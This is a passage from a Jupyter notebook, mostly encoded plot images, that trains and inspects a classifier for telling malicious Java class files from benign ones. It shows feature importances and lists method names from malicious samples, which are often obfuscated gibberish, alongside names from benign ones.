J\nZjoKjgc+J+koqcLrupmZWaWUtYpZf9RhTTy/Gz4/IpaSplR9hVQTP0PSXAredfMqZmZm1p/05uj0\nvtZZc/o84FDgct5exeyZfOy9Bfk7WqrUzMzMStTMK2Zb9mI5zMzMekUrNY83q8y5083MzPodB3Ez\nM7MWNdCD+MclNdPsfkkPymNmZlaqgTywDeDYvHVFAA7iZmbWb7QN8Jr4L0hTynWFR6ebmVm/MtCb\n06dFxOW9XhIzM7NeMNCb083MzFrWQK+Jm5mZtSzXxM3MzFrUgK2JR0TPV1I3MzPrQ1WuiTtIm5mZ\ndYOkIZKelNQm6WcFx7eTNEnSAkmLJU2TtHeZZXBzupmZVVpb7136JGBo/nmlV6wlbQPcBbwOnAEs\nBMYBkyXtHxFTyiiAg7iZmVVabzSnS9oJ+CbwL6SluhudBqwH7BwRs/I5lwCPAOcAI8ooh5vTzcys\n0gI1vXVE0mrABcDvgGsLjq8NHAhMrQVwgIhYAkwEhkvatYxnc03czMwqrRdq4v8EbAd8huLK8Ehg\nDeDugmPT834XYGZPC+KauJmZVVqZNXFJWwE/BH4YEc+0k22zvH+u4FgtbVi3H6iOa+JmZlZpbeWu\n6nE+8ATF/eA1Q/J+ecGxZQ15esRB3MzMKq0rk738ccY0Hpj5hw7zSDoU+ATw8Yh4q4OsS/N+zYJj\ngxvy9IiDuJmZVVpX+sR33HUvdtx1rxWff3XeqSsdl7QmqfZ9I/CCpG3zoVqz+Ab5tbL5wPMNx+rV\n0oqa2pvmPnEzM6u0iOa3AmuR3gn/G+BxYE7ebsvHD83pRwOzSE3pexRcZ7e8v7eMZ3NN3MzMKq2t\nnLnTFwP/QMOkLsDGwLmk181+CcyKiCWSbgA+K2lk3Xvi6wDHAHMioscj08FB3MzMKq6MV8wi4k3g\nmsZ0SVtOjWTFAAATOUlEQVTmH+dGxG/rDo0HxgI3S5oALCLN2LYpcECPC5Q5iJuZWaW10zzey/eM\nuZJGA6cDx5PeG78P2C8ibi3rPg7iZmZm3RQR82hnfFlEzAYO6s37O4ibmVmlDdj1xM3MzFpdyZO9\n9CsO4mZmVmm9sYpZf+EgbmZmldYXA9tWFQdxMzOrtJLeE++XHMTNzKzSXBM3MzNrUe4TNzMza1Ee\nnW5mZtai3JxuZmbWojzZi5mZWYuqcnO61xM3MzNrUa6Jm5lZpblP3MzMrEVVOYi7Od3MzCqtLdT0\n1kjSdpJ+LelRSa9KWiJpjqRzJG3VTv5JkhZIWixpmqS9y34218TNzKzSSqqJDwPeC1wD/C/wJjAS\nOBL4R0k7RcRTAJK2Ae4CXgfOABYC44DJkvaPiCmllAgHcTMzq7gygnhE3Arc2pguaRpwFXA4cGJO\nPg1YD9g5ImblfJcAjwDnACN6XqLEzelmZlZpbdH81oRn8v51AElrAwcCU2sBHCAilgATgeGSdi3n\nyVwTNzOziitz7nRJawLrAoOB7UnN5c8Av8xZRgJrAHcXnD4973cBZpZRHtfEzcys0iKa3zowDniR\nFLhvAt4APh4RL+Tjm+X9cwXn1tKG9fypEtfEzcys0kqese1a4E/AOsBOwNeB2yV9IiKeBIbkfMsL\nzl2W90MKjnWLg7iZmVVaVwa2zX5gKrMfmNqFa8VzvF2jvl7SNaSm8QnAp4Gl+diaBacPzvulBce6\nxUHczMwqrStBfLsdxrDdDmNWfL7+kh928drxkKQHgD1z0vN5X9RkXksramrvFveJm5mZ9cxaQFv+\n+SFSU/oeBfl2y/t7y7qxg7iZmVVaGa+YSdqk6Np5FrYPA1MAImIxcAMwRtLIunzrAMcAcyKilJHp\n4OZ0MzOruJJmbDtf0ntJE748Q+rf3hn4PPAC8G91eccDY4GbJU0AFpFGtW8KHFBKabIBUxOXdLGk\ntoa0EyW1SdqiG9fr9rlmZrbqtLU1vxW4HJgPfBE4izQr207A2cAOtSlXASJiLjAauAc4HvgRKZDv\nFxG/L/PZBlpNvPH7WBSkNXOtCq+NY2ZWDSVNu3o1cHUT+WcDB/X8zh0bMDXxrHHanpOBtSLimaLM\nnejJuWZmtoqUPNlLvzLQauIriYi3gLdW9blmZrbqlDzZS7/SZzVxSUfkPuV9JH1X0jxJSyVNlzQ6\n5xkj6Y68Fuvzkr7bcI19JV0p6cl87iuSJkvas/iu7yhDYb+2pPUknZLXjX1N0nxJf5D0+S6cu6Wk\nSyW9IGmZpCfytdZqyPeOPvq6Y22SLmpIO0zSjPyMiyXNlXSZpKFdeVYzs4EqIpreWkV/qImfTvoy\ncRZphptvAzdJOho4DzgfuJQ0AvAkSU9FxK/zuYcDGwAXk9Z33Zw0hH+KpL0j4o5mCyNpA+AO0sT2\nV5OWjVuNNIDhAODKDs59PzCDNDn+ucDjwN6kkYqjJY3NNfiajv5SVhyT9EXSM04Dvge8BmwB7A+8\n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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 138 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Here we have the classifier tell use which features were most important and how important they were. The entropy and constant pool count are the two most important features by far." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "importances = zip(simple_features, clf_simple.feature_importances_)\n", + "importances.sort(key=lambda k:k[1], reverse=True)\n", + "for idx, im in enumerate(importances):\n", + " print (str(idx+1) + ':').ljust(4), im[0].ljust(20), round(im[1], 5)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "1: entropy 0.29813\n", + "2: constant_pool_count 0.24814\n", + "3: size 0.14489\n", + "4: methods_count 0.08492\n", + "5: interface_count 0.08152\n", + "6: major version 0.05055\n", + "7: ap_count 0.02908\n", + "8: acc_public 0.02446\n", + "9: acc_final 0.01284\n", + "10: acc_abstract 0.00982\n", + "11: minor version 0.00623\n", + "12: acc_super 0.00541\n", + "13: acc_interface 0.00275\n", + "14: acc_enum 0.00125\n", + "15: acc_synthetic 2e-05\n", + "16: acc_annotation -0.0\n" + ] + } + ], + "prompt_number": 139 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### What about the method names?\n", + "\n", + "#### Next we will explore the names of the methods" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "bad = []\n", + "good = []\n", + "for strings, label in zip(df['method names'], df['label']):\n", + " for name in strings:\n", + " d = {'method name': name}\n", + " if label == 'malicious' and d not in bad:\n", + " bad.append(d)\n", + " elif label == 'benign' and d not in good:\n", + " good.append(d)\n", + "\n", + "df_method_names_bad = pd.DataFrame.from_records(bad)\n", + "df_method_names_good = pd.DataFrame.from_records(good)" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 145 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df_method_names_bad.head(50)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "html": [ + "
\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
method name
0 <init>
1 init
2 ktCgxlqo
3 <clinit>
4 gvuNr
5 eiaxyercdfvbgscpbv
6 yginlmcynkyuohnfhe
7 mtyvzetsjhvnbyz
8 fxxhgjttqfavlooxcb
9 wyjgamzmowywjihkuuf
10 kgthsnqdqutacivcptong
11 qgasjqrogibkblyzourtq
12 glfouhczfxzyskaystx
13 mikczoanebdkwpyb
14 bwssduenvebnvgix
15 wafrcwijizypmitodmb
16 bfznyeevclzzxxqbw
17 jmzisxwtxhekbkl
18 szivddjiptybevduli
19 forwnxmgnutbtdwvptj
20 mwwmrvljafpkwzdiy
21 vvpbdzrhvvnzaieyi
22 qkkxoygluwwlnwbxu
23 dvvwse
24 c
25 k
26 main
27 writeEmbeddedFile
28 bootstrap
29 getJreExecutable
30 addExtension
31 findInDir
32 normalize
33 dissect
34 class$
35 tgznSIAR
36 kWfVWtw
37 BodFzDax
38 xXVBwx
39 VdJiGyZfj
40 taddhnwrkj
41 C
42 ALLATORI_DEMO
43 jvsamhqyvgekftsj
44 knjkb
45 B
46 cmjnkr
47 jmdpes
48 tqffjybms
49 vtvtmh
\n", + "

50 rows \u00d7 1 columns

\n", + "
" + ], + "metadata": {}, + "output_type": "pyout", + "prompt_number": 146, + "text": [ + " method name\n", + "0 \n", + "1 init\n", + "2 ktCgxlqo\n", + "3 \n", + "4 gvuNr\n", + "5 eiaxyercdfvbgscpbv\n", + "6 yginlmcynkyuohnfhe\n", + "7 mtyvzetsjhvnbyz\n", + "8 fxxhgjttqfavlooxcb\n", + "9 wyjgamzmowywjihkuuf\n", + "10 kgthsnqdqutacivcptong\n", + "11 qgasjqrogibkblyzourtq\n", + "12 glfouhczfxzyskaystx\n", + "13 mikczoanebdkwpyb\n", + "14 bwssduenvebnvgix\n", + "15 wafrcwijizypmitodmb\n", + "16 bfznyeevclzzxxqbw\n", + "17 jmzisxwtxhekbkl\n", + "18 szivddjiptybevduli\n", + "19 forwnxmgnutbtdwvptj\n", + "20 mwwmrvljafpkwzdiy\n", + "21 vvpbdzrhvvnzaieyi\n", + "22 qkkxoygluwwlnwbxu\n", + "23 dvvwse\n", + "24 c\n", + "25 k\n", + "26 main\n", + "27 writeEmbeddedFile\n", + "28 bootstrap\n", + "29 getJreExecutable\n", + "30 addExtension\n", + "31 findInDir\n", + "32 normalize\n", + "33 dissect\n", + "34 class$\n", + "35 tgznSIAR\n", + "36 kWfVWtw\n", + "37 BodFzDax\n", + "38 xXVBwx\n", + "39 VdJiGyZfj\n", + "40 taddhnwrkj\n", + "41 C\n", + "42 ALLATORI_DEMO\n", + "43 jvsamhqyvgekftsj\n", + "44 knjkb\n", + "45 B\n", + "46 cmjnkr\n", + "47 jmdpes\n", + "48 tqffjybms\n", + "49 vtvtmh\n", + "\n", + "[50 rows x 1 columns]" + ] + } + ], + "prompt_number": 146 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df_method_names_good.head(50)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "html": [ + "
\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
method name
0 <init>
1 delegate
2 putIfAbsent
3 remove
4 replace
5 resetState
6 comparator
7 createElementSet
8 elementSet
9 descendingMultiset
10 firstEntry
11 lastEntry
12 pollFirstEntry
13 pollLastEntry
14 headMultiset
15 subMultiset
16 tailMultiset
17 invoke
18 hasNext
19 isValidLine
20 next
21 nextLine
22 close
23 closeQuietly
24 exec
25 getInitial
26 getIntermed
27 getFinal
28 max
29 outputSchema
30 estimateLength
31 appendTo
32 getXPath
33 run
34 secToHMS
35 contribute
36 onBeforeRender
37 setCloseEvent
38 setSelectEvent
39 setChangeEvent
40 setSource
41 statement
42 setDocumentLocator
43 startDocument
44 endDocument
45 startPrefixMapping
46 endPrefixMapping
47 startElement
48 endElement
49 characters
\n", + "

50 rows \u00d7 1 columns

\n", + "
" + ], + "metadata": {}, + "output_type": "pyout", + "prompt_number": 147, + "text": [ + " method name\n", + "0 \n", + "1 delegate\n", + "2 putIfAbsent\n", + "3 remove\n", + "4 replace\n", + "5 resetState\n", + "6 comparator\n", + "7 createElementSet\n", + "8 elementSet\n", + "9 descendingMultiset\n", + "10 firstEntry\n", + "11 lastEntry\n", + "12 pollFirstEntry\n", + "13 pollLastEntry\n", + "14 headMultiset\n", + "15 subMultiset\n", + "16 tailMultiset\n", + "17 invoke\n", + "18 hasNext\n", + "19 isValidLine\n", + "20 next\n", + "21 nextLine\n", + "22 close\n", + "23 closeQuietly\n", + "24 exec\n", + "25 getInitial\n", + "26 getIntermed\n", + "27 getFinal\n", + "28 max\n", + "29 outputSchema\n", + "30 estimateLength\n", + "31 appendTo\n", + "32 getXPath\n", + "33 run\n", + "34 secToHMS\n", + "35 contribute\n", + "36 onBeforeRender\n", + "37 setCloseEvent\n", + "38 setSelectEvent\n", + "39 setChangeEvent\n", + "40 setSource\n", + "41 statement\n", + "42 setDocumentLocator\n", + "43 startDocument\n", + "44 endDocument\n", + "45 startPrefixMapping\n", + "46 endPrefixMapping\n", + "47 startElement\n", + "48 endElement\n", + "49 characters\n", + "\n", + "[50 rows x 1 columns]" + ] + } + ], + "prompt_number": 147 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### When we look at method names, we see that the benign ones look \"normal\" and while some of the malicioius ones look \"normal\", some look like gibberish. To try to capture that feature, we extract the longest run of consecutive lowercase, uppercase, and digits from the methods name. We also calculate the average run of these sequences as well." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('method_name_lowercase_run_longest', 'label')\n", + "plt.ylabel('Max length of lower case letters')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 148, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "iVBORw0KGgoAAAANSUhEUgAAA9cAAAE7CAYAAADXbnL5AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3XmYZGV5sPH7YVSGRRhgFBHFFlyIGOyIyqZSrMZgFPcV\npoNgYsRI1HyuwQEXokl0XEElOOCOICMuEREoUFEQdWQxigoDiso+yCow83x/nNMzRU11TZ3u011V\n3ffvusrq97xnebq8hreferfITCRJkiRJ0uRt0O8AJEmSJEkadibXkiRJkiRNkcm1JEmSJElTZHIt\nSZIkSdIUmVxLkiRJkjRFJteSJEmSJE2RybUkSZIkSVPUc3IdEbtGxOFtxw6KiMsi4tqIOLb+8CRJ\nkiRJGnxVeq6PAp47XoiI7YAvAFsDfwbeEhGH9nqziHh8RHw+Iv4vIlZGxB0RcUVEfDwiHj3B+csi\n4uaIuD0izo+IvSvEL0mSJEnStKiSXD8J+EFL+WXl9X8DPAE4Ezi8w3UT2RZ4GHAa8FbgDcC3gUOA\nn7Ym2BGxA3ABsCvwfuDfgE2BMyNi3wrPlCRJkiSpdpGZvZ0YcRfw2sxcWpbPBlZl5gFl+Z+Bd2fm\nVlMKKOJFwCnAMZm5uDx2CvB8YJfMvKQ8tglwOXB3Zu44lWdKkiRJkjQVVXquV1IMASciNgR2A85v\nqU9goxpiuqZ8v6d81iYUw9Gb44k1QGbeAZwAPC4inlrDcyVJkiRJmpQHVDh3OXBY2WN9EEUifWZL\n/QhwXdUAykT9wcB8iuHl76dIsP+nPGVn4EHADztcfmH5/hTgx1WfLUmSJElSHaok1+8GzgIuKsvf\nzczWhPY5rE12qzgc+EhL+WLgGZk5nqg/vHy/tsO148e2ncRzJUmSJEmqRc/JdWZeEBFPBp5FMUT8\nS+N1EbEVReJ9+iRiOB34BcUCZU8GXg+cFxH7ZeaVwMbleX/pcO3d5fvGHeokSZIkSZoRPSXXEbER\n8GLgV5n5kfb6zLwJOHIyAWTmtaztgT4jIk6jGOL9IeB5wJ1l3YYdLp9fvt/ZXhERva3UJkmSJElS\njzIzOh3vtef6HorFw/6FyQ397llmXhoRy4Fnlof+UL53Gvo9fqzTkHF6XQld0swZGxtj6dKl/Q5D\nkqSBNzo6xvLlS/sdhqQWER3zaqDH1cIzcxXwO2CzmmJan42A1eXPl1IMCd+jw3m7le8Xz0RQkiRJ\nkiR1UmUrrqXAwRExf30n9iIitp7g+N7AE4GzATLzduDrQCMidm45b1PgMOCKtoXVJA2wkZGRfocg\nSdJQGB0d6XcIkiqoslr4BcALgJ9FxHHAFXSY65yZ57cfm8DxEfEw4ByKrbfmA7sAL6XY0ustLee+\nDdgX+E5EfAi4jWKV8W2AAyv8DpL6rNFo9DsESZKGwthYo98hSKqgSnJ9VsvPSyY4J4F5Pd7vC8Ah\nwMHAQ8prr6TYlusDmXnDmptm/jYi9gT+A3grxb7XPwH+NjPPqfA7SJIkSZJUuyrJ9aF1PjgzvwJ8\npcL5vwQOqjMGSZIkSZLqELN1Re2IyNn6u0mSJEmSZl5ETLgVV5UFzSRJkiRJUgeVkuuI2C4iPhMR\n10bEvRGxT3n8oeXxp05PmJJmi2az2e8QJEkaCraZ0nDpObmOiEdT7Cf9AuByWhY